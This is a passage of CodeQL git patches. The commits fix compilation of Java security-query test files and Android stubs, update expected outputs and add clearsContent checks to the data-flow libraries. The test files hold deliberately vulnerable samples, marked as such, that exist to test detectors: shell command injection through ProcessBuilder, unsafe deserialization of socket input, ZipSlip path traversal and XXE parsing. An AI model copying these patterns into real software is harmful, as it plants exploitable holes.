} diff --git a/java/ql/test/query-tests/dead-code/DeadField/ReflectionTest.java b/java/ql/test/query-tests/dead-code/DeadField/ReflectionTest.java index 418975b0281..72ca3ae46f6 100644 --- a/java/ql/test/query-tests/dead-code/DeadField/ReflectionTest.java +++ b/java/ql/test/query-tests/dead-code/DeadField/ReflectionTest.java @@ -16,7 +16,7 @@ public class ReflectionTest { public int shadowedField; } - public static void main(String[] args) { + public static void main(String[] args) throws NoSuchFieldException { // Ensure the two classes are live, otherwise we might hide some results new ParentClass(); new ChildClass(); diff --git a/java/ql/test/query-tests/dead-code/DeadMethod/ReflectionMethodTest.java b/java/ql/test/query-tests/dead-code/DeadMethod/ReflectionMethodTest.java index 4336655a664..c77718f9750 100644 --- a/java/ql/test/query-tests/dead-code/DeadMethod/ReflectionMethodTest.java +++ b/java/ql/test/query-tests/dead-code/DeadMethod/ReflectionMethodTest.java @@ -19,7 +19,7 @@ public class ReflectionMethodTest { public void test4() { } } - public static void main(String[] args) throws InstantiationException, IllegalAccessException, ClassNotFoundException { + public static void main(String[] args) throws InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException { // Get class by name Class.forName("ReflectionTest$TestObject1").getMethod("test1"); // Use classloader diff --git a/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipTest.java b/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipTest.java index 46ed97e2d98..b5bee61b965 100644 --- a/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipTest.java +++ b/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipTest.java @@ -3,7 +3,7 @@ import java.nio.file.*; import java.util.zip.*; public class ZipTest { - public void m1(ZipEntry entry, File dir) { + public void m1(ZipEntry entry, File dir) throws Exception { String name = entry.getName(); File file = new File(dir, name); FileOutputStream os = new FileOutputStream(file); // ZipSlip @@ -11,7 +11,7 @@ public class ZipTest { FileWriter fw = new FileWriter(file); // ZipSlip } - public void m2(ZipEntry entry, File dir) { + public void m2(ZipEntry entry, File dir) throws Exception { String name = entry.getName(); File file = new File(dir, name); File canFile = file.getCanonicalFile(); @@ -21,7 +21,7 @@ public class ZipTest { FileOutputStream os = new FileOutputStream(file); // OK } - public void m3(ZipEntry entry, File dir) { + public void m3(ZipEntry entry, File dir) throws Exception { String name = entry.getName(); File file = new File(dir, name); if (!file.toPath().normalize().startsWith(dir.toPath())) @@ -29,20 +29,20 @@ public class ZipTest { FileOutputStream os = new FileOutputStream(file); // OK } - private void validate(File tgtdir, File file) { + private void validate(File tgtdir, File file) throws Exception { File canFile = file.getCanonicalFile(); if (!canFile.toPath().startsWith(tgtdir.toPath())) throw new Exception(); } - public void m4(ZipEntry entry, File dir) { + public void m4(ZipEntry entry, File dir) throws Exception { String name = entry.getName(); File file = new File(dir, name); validate(dir, file); FileOutputStream os = new FileOutputStream(file); // OK } - public void m5(ZipEntry entry, File dir) { + public void m5(ZipEntry entry, File dir) throws Exception { String name = entry.getName(); File file = new File(dir, name); Path absfile = file.toPath().toAbsolutePath().normalize(); @@ -52,7 +52,7 @@ public class ZipTest { FileOutputStream os = new FileOutputStream(file); // OK } - public void m6(ZipEntry entry, Path dir) { + public void m6(ZipEntry entry, Path dir) throws Exception { String canonicalDest = dir.toFile().getCanonicalPath(); Path target = dir.resolve(entry.getName()); String canonicalTarget = target.toFile().getCanonicalPath(); diff --git a/java/ql/test/query-tests/security/CWE-078/Test.java b/java/ql/test/query-tests/security/CWE-078/Test.java index 6e185b86bbd..1ac5dc47882 100644 --- a/java/ql/test/query-tests/security/CWE-078/Test.java +++ b/java/ql/test/query-tests/security/CWE-078/Test.java @@ -3,7 +3,7 @@ import java.util.List; import java.util.ArrayList; class Test { - public static void shellCommand(String arg) { + public static void shellCommand(String arg) throws java.io.IOException { ProcessBuilder pb = new ProcessBuilder("/bin/bash -c echo " + arg); pb.start(); @@ -25,7 +25,7 @@ class Test { pb.start(); } - public static void nonShellCommand(String arg) { + public static void nonShellCommand(String arg) throws java.io.IOException { ProcessBuilder pb = new ProcessBuilder("./customTool " + arg); pb.start(); @@ -46,7 +46,7 @@ class Test { pb.start(); } - public static void relativeCommand() { + public static void relativeCommand() throws java.io.IOException { ProcessBuilder pb = new ProcessBuilder("ls"); pb.start(); @@ -54,11 +54,11 @@ class Test { pb.start(); } - public static void main(String[] args) { + public static void main(String[] args) throws java.io.IOException { String arg = args.length > 1 ? args[1] : "default"; shellCommand(arg); nonShellCommand(arg); relativeCommand(); } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java index 005271998ba..c893e0b8eef 100644 --- a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java @@ -66,7 +66,7 @@ public class UnsafeHostnameVerification { HostnameVerifier verifier = new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { - verify(hostname, session.getPeerCertificates()); + try { verify(hostname, session.getPeerCertificates()); } catch (Exception e) { throw new RuntimeException(); } return true; // GOOD [but detected as BAD]. The verification of the certificate is done in // another method and // in the case of a mismatch, an `Exception` is thrown so the `return true` diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-319/Test.java b/java/ql/test/query-tests/security/CWE-311/CWE-319/Test.java index 568a9d89f85..9e2f3f923e8 100644 --- a/java/ql/test/query-tests/security/CWE-311/CWE-319/Test.java +++ b/java/ql/test/query-tests/security/CWE-311/CWE-319/Test.java @@ -3,7 +3,7 @@ import javax.net.ssl.HttpsURLConnection; import java.io.*; class Test { - public void m1(HttpURLConnection connection) { + public void m1(HttpURLConnection connection) throws java.io.IOException { InputStream input; if (connection instanceof HttpsURLConnection) { input = connection.getInputStream(); // OK diff --git a/java/ql/test/query-tests/security/CWE-421/semmle/Test.java b/java/ql/test/query-tests/security/CWE-421/semmle/Test.java index 31d20ae133a..0e2dc665a4b 100644 --- a/java/ql/test/query-tests/security/CWE-421/semmle/Test.java +++ b/java/ql/test/query-tests/security/CWE-421/semmle/Test.java @@ -31,7 +31,7 @@ class Test { return true; } - public void doConnect(int desiredPort, String username) { + public void doConnect(int desiredPort, String username) throws Exception { ServerSocket listenSocket = new ServerSocket(desiredPort); if (isAuthenticated(username)) { @@ -56,7 +56,7 @@ class Test { } - public void doConnectChannel(int desiredPort, String username) { + public void doConnectChannel(int desiredPort, String username) throws Exception { ServerSocketChannel listenChannel = ServerSocketChannel.open(); SocketAddress port = new InetSocketAddress(desiredPort); listenChannel.bind(port); diff --git a/java/ql/test/query-tests/security/CWE-502/A.java b/java/ql/test/query-tests/security/CWE-502/A.java index 3b3de5f8ed2..d1ef4859823 100644 --- a/java/ql/test/query-tests/security/CWE-502/A.java +++ b/java/ql/test/query-tests/security/CWE-502/A.java @@ -9,32 +9,32 @@ import org.yaml.snakeyaml.constructor.Constructor; import org.yaml.snakeyaml.Yaml; public class A { - public Object deserialize1(Socket sock) { + public Object deserialize1(Socket sock) throws java.io.IOException, ClassNotFoundException { InputStream inputStream = sock.getInputStream(); ObjectInputStream in = new ObjectInputStream(inputStream); return in.readObject(); // unsafe } - public Object deserialize2(Socket sock) { + public Object deserialize2(Socket sock) throws java.io.IOException, ClassNotFoundException { InputStream inputStream = sock.getInputStream(); ObjectInputStream in = new ObjectInputStream(inputStream); return in.readUnshared(); // unsafe } - public Object deserialize3(Socket sock) { + public Object deserialize3(Socket sock) throws java.io.IOException { InputStream inputStream = sock.getInputStream(); XMLDecoder d = new XMLDecoder(inputStream); return d.readObject(); // unsafe } - public Object deserialize4(Socket sock) { + public Object deserialize4(Socket sock) throws java.io.IOException { XStream xs = new XStream(); InputStream inputStream = sock.getInputStream(); Reader reader = new InputStreamReader(inputStream); return xs.fromXML(reader); // unsafe } - public void deserialize5(Socket sock) { + public void deserialize5(Socket sock) throws java.io.IOException { Kryo kryo = new Kryo(); Input input = new Input(sock.getInputStream()); A a1 = kryo.readObject(input, A.class); // unsafe @@ -42,20 +42,20 @@ public class A { Object o = kryo.readClassAndObject(input); // unsafe } - private Kryo getSafeKryo() { + private Kryo getSafeKryo() throws java.io.IOException { Kryo kryo = new Kryo(); kryo.setRegistrationRequired(true); // ... kryo.register(A.class) ... return kryo; } - public void deserialize6(Socket sock) { + public void deserialize6(Socket sock) throws java.io.IOException { Kryo kryo = getSafeKryo(); Input input = new Input(sock.getInputStream()); Object o = kryo.readClassAndObject(input); // OK } - public void deserializeSnakeYaml(Socket sock) { + public void deserializeSnakeYaml(Socket sock) throws java.io.IOException { Yaml yaml = new Yaml(); InputStream input = sock.getInputStream(); Object o = yaml.load(input); //unsafe @@ -65,7 +65,7 @@ public class A { A o5 = yaml.loadAs(new InputStreamReader(input), A.class); //unsafe } - public void deserializeSnakeYaml2(Socket sock) { + public void deserializeSnakeYaml2(Socket sock) throws java.io.IOException { Yaml yaml = new Yaml(new Constructor()); InputStream input = sock.getInputStream(); Object o = yaml.load(input); //unsafe @@ -75,7 +75,7 @@ public class A { A o5 = yaml.loadAs(new InputStreamReader(input), A.class); //unsafe } - public void deserializeSnakeYaml3(Socket sock) { + public void deserializeSnakeYaml3(Socket sock) throws java.io.IOException { Yaml yaml = new Yaml(new SafeConstructor()); InputStream input = sock.getInputStream(); Object o = yaml.load(input); //OK @@ -85,7 +85,7 @@ public class A { A o5 = yaml.loadAs(new InputStreamReader(input), A.class); //OK } - public void deserializeSnakeYaml4(Socket sock) { + public void deserializeSnakeYaml4(Socket sock) throws java.io.IOException { Yaml yaml = new Yaml(new Constructor(A.class)); InputStream input = sock.getInputStream(); Object o = yaml.load(input); //OK diff --git a/java/ql/test/query-tests/security/CWE-502/B.java b/java/ql/test/query-tests/security/CWE-502/B.java index 671442a9346..a12555edd70 100644 --- a/java/ql/test/query-tests/security/CWE-502/B.java +++ b/java/ql/test/query-tests/security/CWE-502/B.java @@ -3,19 +3,19 @@ import java.net.Socket; import com.alibaba.fastjson.JSON; public class B { - public Object deserializeJson1(Socket sock) { + public Object deserializeJson1(Socket sock) throws java.io.IOException { InputStream inputStream = sock.getInputStream(); return JSON.parseObject(inputStream, null); // unsafe } - public Object deserializeJson2(Socket sock) { + public Object deserializeJson2(Socket sock) throws java.io.IOException { InputStream inputStream = sock.getInputStream(); byte[] bytes = new byte[100]; inputStream.read(bytes); return JSON.parse(bytes); // unsafe } - public Object deserializeJson3(Socket sock) { + public Object deserializeJson3(Socket sock) throws java.io.IOException { InputStream inputStream = sock.getInputStream(); byte[] bytes = new byte[100]; inputStream.read(bytes); @@ -23,7 +23,7 @@ public class B { return JSON.parseObject(s); // unsafe } - public Object deserializeJson4(Socket sock) { + public Object deserializeJson4(Socket sock) throws java.io.IOException { InputStream inputStream = sock.getInputStream(); byte[] bytes = new byte[100]; inputStream.read(bytes); diff --git a/java/ql/test/query-tests/security/CWE-611/DocumentBuilderTests.java b/java/ql/test/query-tests/security/CWE-611/DocumentBuilderTests.java index f70b44e2f1a..cb25141a90d 100644 --- a/java/ql/test/query-tests/security/CWE-611/DocumentBuilderTests.java +++ b/java/ql/test/query-tests/security/CWE-611/DocumentBuilderTests.java @@ -102,7 +102,7 @@ class DocumentBuilderTests { builder.parse(source.getInputStream()); //unsafe } - private static DocumentBuilderFactory getDocumentBuilderFactory() { + private static DocumentBuilderFactory getDocumentBuilderFactory() throws Exception { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); String feature = ""; feature = "http://xml.org/sax/features/external-parameter-entities"; @@ -115,8 +115,8 @@ class DocumentBuilderTests { private static final ThreadLocal XML_DOCUMENT_BUILDER = new ThreadLocal() { @Override protected DocumentBuilder initialValue() { - DocumentBuilderFactory factory = getDocumentBuilderFactory(); try { + DocumentBuilderFactory factory = getDocumentBuilderFactory(); return factory.newDocumentBuilder(); } catch (Exception ex) { throw new RuntimeException(ex); diff --git a/java/ql/test/query-tests/security/CWE-732/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-732/semmle/tests/Test.java index ec1dfd1289c..8717203802d 100644 --- a/java/ql/test/query-tests/security/CWE-732/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-732/semmle/tests/Test.java @@ -31,11 +31,11 @@ class Test { new FileInputStream(f2); } - public static void readFile(File f) { + public static void readFile(File f) throws java.io.FileNotFoundException { new FileReader(f); } public static void setWorldWritable(File f) { f.setWritable(true, false); } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/security/CWE-833/semmle/tests/MethodAccessLockOrder.java b/java/ql/test/query-tests/security/CWE-833/semmle/tests/MethodAccessLockOrder.java index 9092bfee427..e02364c05ec 100644 --- a/java/ql/test/query-tests/security/CWE-833/semmle/tests/MethodAccessLockOrder.java +++ b/java/ql/test/query-tests/security/CWE-833/semmle/tests/MethodAccessLockOrder.java @@ -26,9 +26,9 @@ class MethodAccessLockOrder { public boolean initiateTransfer(boolean fromSavings, int amount) { // AVOID: inconsistent lock order if (fromSavings) { - primary.transferFrom(savings, amount); + return primary.transferFrom(savings, amount); } else { - savings.transferFrom(primary, amount); + return savings.transferFrom(primary, amount); } } diff --git a/java/ql/test/stubs/google-android-9.0.0/android/app/Activity.java b/java/ql/test/stubs/google-android-9.0.0/android/app/Activity.java index 19a2662b96c..e04f68a203d 100644 --- a/java/ql/test/stubs/google-android-9.0.0/android/app/Activity.java +++ b/java/ql/test/stubs/google-android-9.0.0/android/app/Activity.java @@ -1019,6 +1019,7 @@ public class Activity { * @see Activity#requireViewById(int) */ public T findViewById(int id) { + return null; } /** @@ -1141,4 +1142,4 @@ public class Activity { */ public void startActivities(Intent[] intents, Bundle options) { } -} \ No newline at end of file +} diff --git a/java/ql/test/stubs/google-android-9.0.0/android/content/Intent.java b/java/ql/test/stubs/google-android-9.0.0/android/content/Intent.java index 292069c0f71..09422c7a48a 100644 --- a/java/ql/test/stubs/google-android-9.0.0/android/content/Intent.java +++ b/java/ql/test/stubs/google-android-9.0.0/android/content/Intent.java @@ -821,6 +821,7 @@ public class Intent implements Parcelable, Cloneable { */ @Deprecated public static Intent getIntent(String uri) { + return null; } /** @@ -845,6 +846,7 @@ public class Intent implements Parcelable, Cloneable { * @see #toUri */ public static Intent parseUri(String uri, int flags) { + return null; } /** @@ -2069,4 +2071,4 @@ public class Intent implements Parcelable, Cloneable { return null; } -} \ No newline at end of file +} diff --git a/java/ql/test/stubs/google-android-9.0.0/android/os/BaseBundle.java b/java/ql/test/stubs/google-android-9.0.0/android/os/BaseBundle.java index 4b85ae8e67a..3ac33642ab4 100644 --- a/java/ql/test/stubs/google-android-9.0.0/android/os/BaseBundle.java +++ b/java/ql/test/stubs/google-android-9.0.0/android/os/BaseBundle.java @@ -97,6 +97,7 @@ public class BaseBundle { * @hide */ public String getPairValue() { + return null; } /** diff --git a/java/ql/test/stubs/google-android-9.0.0/android/os/Parcel.java b/java/ql/test/stubs/google-android-9.0.0/android/os/Parcel.java index 2670e258e4f..077da662edb 100644 --- a/java/ql/test/stubs/google-android-9.0.0/android/os/Parcel.java +++ b/java/ql/test/stubs/google-android-9.0.0/android/os/Parcel.java @@ -229,6 +229,7 @@ public final class Parcel { } public final float[] createFloatArray() { + return null; } public final void readFloatArray(float[] val) { diff --git a/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/EncryptedSharedPreferences.java b/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/EncryptedSharedPreferences.java index db918d448f2..8ca1443d049 100644 --- a/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/EncryptedSharedPreferences.java +++ b/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/EncryptedSharedPreferences.java @@ -85,6 +85,7 @@ public final class EncryptedSharedPreferences implements SharedPreferences { PrefKeyEncryptionScheme prefKeyEncryptionScheme, PrefValueEncryptionScheme prefValueEncryptionScheme) throws GeneralSecurityException, IOException { + return null; } /** @@ -168,4 +169,4 @@ public final class EncryptedSharedPreferences implements SharedPreferences { public void unregisterOnSharedPreferenceChangeListener( OnSharedPreferenceChangeListener listener) { } -} \ No newline at end of file +} From e5331a4735546448375dc9ce062d903e48956f02 Mon Sep 17 00:00:00 2001 From: yo-h <55373593+yo-h@users.noreply.github.com> Date: Tue, 9 Feb 2021 09:17:35 -0500 Subject: [PATCH 1122/1241] Java: accept changes in expected output --- .../dataflow/taintsources/remote.expected | 10 +++++----- .../semmle/tests/LockOrderInconsistency.expected | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/java/ql/test/library-tests/dataflow/taintsources/remote.expected b/java/ql/test/library-tests/dataflow/taintsources/remote.expected index 57acdb6d26c..e4f1dac7ca6 100644 --- a/java/ql/test/library-tests/dataflow/taintsources/remote.expected +++ b/java/ql/test/library-tests/dataflow/taintsources/remote.expected @@ -5,21 +5,21 @@ | A.java:41:5:41:53 | getInputStream(...) | A.java:41:5:41:53 | getInputStream(...) | | A.java:42:5:42:45 | getInputStream(...) | A.java:42:5:42:45 | getInputStream(...) | | A.java:43:5:43:47 | getHostName(...) | A.java:43:5:43:47 | getHostName(...) | -| IntentSources.java:9:20:9:35 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/content/Intent.java:1057:19:1057:32 | parameter this | +| IntentSources.java:9:20:9:35 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/content/Intent.java:1059:19:1059:32 | parameter this | | IntentSources.java:9:20:9:35 | getIntent(...) | IntentSources.java:9:20:9:35 | getIntent(...) | | IntentSources.java:9:20:9:35 | getIntent(...) | IntentSources.java:9:20:9:57 | getStringExtra(...) | | IntentSources.java:9:20:9:35 | getIntent(...) | IntentSources.java:10:29:10:35 | trouble | -| IntentSources.java:16:20:16:30 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/content/Intent.java:1057:19:1057:32 | parameter this | +| IntentSources.java:16:20:16:30 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/content/Intent.java:1059:19:1059:32 | parameter this | | IntentSources.java:16:20:16:30 | getIntent(...) | IntentSources.java:16:20:16:30 | getIntent(...) | | IntentSources.java:16:20:16:30 | getIntent(...) | IntentSources.java:16:20:16:52 | getStringExtra(...) | | IntentSources.java:16:20:16:30 | getIntent(...) | IntentSources.java:17:29:17:35 | trouble | -| IntentSources.java:23:20:23:30 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/content/Intent.java:1356:19:1356:27 | parameter this | -| IntentSources.java:23:20:23:30 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/os/BaseBundle.java:599:19:599:27 | parameter this | +| IntentSources.java:23:20:23:30 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/content/Intent.java:1358:19:1358:27 | parameter this | +| IntentSources.java:23:20:23:30 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/os/BaseBundle.java:600:19:600:27 | parameter this | | IntentSources.java:23:20:23:30 | getIntent(...) | IntentSources.java:23:20:23:30 | getIntent(...) | | IntentSources.java:23:20:23:30 | getIntent(...) | IntentSources.java:23:20:23:42 | getExtras(...) | | IntentSources.java:23:20:23:30 | getIntent(...) | IntentSources.java:23:20:23:59 | getString(...) | | IntentSources.java:23:20:23:30 | getIntent(...) | IntentSources.java:24:29:24:35 | trouble | -| IntentSources.java:33:20:33:33 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/content/Intent.java:1057:19:1057:32 | parameter this | +| IntentSources.java:33:20:33:33 | getIntent(...) | ../../../stubs/google-android-9.0.0/android/content/Intent.java:1059:19:1059:32 | parameter this | | IntentSources.java:33:20:33:33 | getIntent(...) | IntentSources.java:33:20:33:33 | getIntent(...) | | IntentSources.java:33:20:33:33 | getIntent(...) | IntentSources.java:33:20:33:55 | getStringExtra(...) | | IntentSources.java:33:20:33:33 | getIntent(...) | IntentSources.java:34:29:34:35 | trouble | diff --git a/java/ql/test/query-tests/security/CWE-833/semmle/tests/LockOrderInconsistency.expected b/java/ql/test/query-tests/security/CWE-833/semmle/tests/LockOrderInconsistency.expected index 89a404374cc..995d2a75277 100644 --- a/java/ql/test/query-tests/security/CWE-833/semmle/tests/LockOrderInconsistency.expected +++ b/java/ql/test/query-tests/security/CWE-833/semmle/tests/LockOrderInconsistency.expected @@ -1,4 +1,4 @@ -| MethodAccessLockOrder.java:29:4:29:40 | transferFrom(...) | Synchronization here and $@ may be performed in reverse order starting $@ and result in deadlock. | MethodAccessLockOrder.java:8:21:8:41 | subtract(...) | here | MethodAccessLockOrder.java:31:4:31:40 | transferFrom(...) | here | +| MethodAccessLockOrder.java:29:11:29:47 | transferFrom(...) | Synchronization here and $@ may be performed in reverse order starting $@ and result in deadlock. | MethodAccessLockOrder.java:8:21:8:41 | subtract(...) | here | MethodAccessLockOrder.java:31:11:31:47 | transferFrom(...) | here | | ReentrantLockOrder.java:11:4:11:21 | lock(...) | Synchronization here and $@ may be performed in reverse order starting $@ and result in deadlock. | ReentrantLockOrder.java:12:4:12:21 | lock(...) | here | ReentrantLockOrder.java:28:4:28:21 | lock(...) | here | | ReentrantLockOrder.java:28:4:28:21 | lock(...) | Synchronization here and $@ may be performed in reverse order starting $@ and result in deadlock. | ReentrantLockOrder.java:29:4:29:21 | lock(...) | here | ReentrantLockOrder.java:11:4:11:21 | lock(...) | here | | SynchronizedStmtLockOrder.java:8:16:8:26 | primaryLock | Synchronization here and $@ may be performed in reverse order starting $@ and result in deadlock. | SynchronizedStmtLockOrder.java:9:17:9:27 | savingsLock | here | SynchronizedStmtLockOrder.java:22:16:22:26 | savingsLock | here | From e5970f4c652a6088249c82c02b1450ab0c5a81bb Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 9 Feb 2021 20:09:24 +0100 Subject: [PATCH 1123/1241] Data flow: Take `clearsContent()` into account in flow exploration --- .../src/semmle/code/csharp/dataflow/internal/DataFlowImpl.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl.qll index d9f5acdd279..59cc8d529a7 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() From 1f9b42f9ab19c24f9150430f6341a5b7d792b819 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 9 Feb 2021 20:10:23 +0100 Subject: [PATCH 1124/1241] Data flow: Sync files --- cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll | 2 ++ cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll | 2 ++ cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll | 2 ++ cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll | 2 ++ .../src/semmle/code/cpp/dataflow/internal/DataFlowImplLocal.qll | 2 ++ .../src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll | 2 ++ .../src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll | 2 ++ .../src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll | 2 ++ .../src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll | 2 ++ .../src/semmle/code/csharp/dataflow/internal/DataFlowImpl2.qll | 2 ++ .../src/semmle/code/csharp/dataflow/internal/DataFlowImpl3.qll | 2 ++ .../src/semmle/code/csharp/dataflow/internal/DataFlowImpl4.qll | 2 ++ .../src/semmle/code/csharp/dataflow/internal/DataFlowImpl5.qll | 2 ++ java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl.qll | 2 ++ .../ql/src/semmle/code/java/dataflow/internal/DataFlowImpl2.qll | 2 ++ .../ql/src/semmle/code/java/dataflow/internal/DataFlowImpl3.qll | 2 ++ .../ql/src/semmle/code/java/dataflow/internal/DataFlowImpl4.qll | 2 ++ .../ql/src/semmle/code/java/dataflow/internal/DataFlowImpl5.qll | 2 ++ .../ql/src/semmle/python/dataflow/new/internal/DataFlowImpl.qll | 2 ++ .../src/semmle/python/dataflow/new/internal/DataFlowImpl2.qll | 2 ++ .../src/semmle/python/dataflow/new/internal/DataFlowImpl3.qll | 2 ++ .../src/semmle/python/dataflow/new/internal/DataFlowImpl4.qll | 2 ++ 22 files changed, 44 insertions(+) diff --git a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll index d9f5acdd279..59cc8d529a7 100644 --- a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll +++ b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll index d9f5acdd279..59cc8d529a7 100644 --- a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll +++ b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll index d9f5acdd279..59cc8d529a7 100644 --- a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll +++ b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll index d9f5acdd279..59cc8d529a7 100644 --- a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll +++ b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImplLocal.qll b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImplLocal.qll index d9f5acdd279..59cc8d529a7 100644 --- a/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImplLocal.qll +++ b/cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImplLocal.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll 